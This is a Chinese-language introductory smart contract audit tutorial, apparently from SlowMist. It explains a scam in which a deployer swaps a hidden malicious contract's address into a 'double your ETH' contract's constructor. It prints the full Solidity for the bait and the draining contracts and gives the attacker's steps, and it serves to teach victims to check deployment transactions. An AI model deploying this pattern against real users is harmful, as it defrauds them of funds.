智能合約安全審計入門篇 —— 移花接木

2023-05-12 15:08 慢霧科技


概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約並告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址並將 B 合約开源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以爲的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑爲正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑爲非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract MoneyMaker {    Vault vault;
   constructor(address _vault) {        vault = Vault(payable(_vault));    }
   function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");
       uint256 amount = msg.value * 2;
       (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");
       vault.transfer(recipient, amount);    }}
contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;
   constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }
   modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }
   modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }
   function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }
   function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");
       (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }
   function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}
// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;
   constructor(address _evil) {        evil = _evil;    }
   modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }
   function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }
   function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}

騙局分析

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以爲的調用路徑爲:

MoneyMaker -> Vault。

而實際的調用路徑爲:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約並在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約开源;

2. Evil 部署 Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個开源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置爲 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少於一個以太都會得到雙倍以太的回報;

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼並檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等着收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的並不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時並不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最後 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,並通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易後才能相信對方說的話是對的。

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播信息之目的,不構成任何投資建議,如有侵權行為,請第一時間聯絡我們修改或刪除,多謝。

標題:智能合約安全審計入門篇 —— 移花接木

地址:https://www.sgitmedia.com/article/65.html

相關閱讀: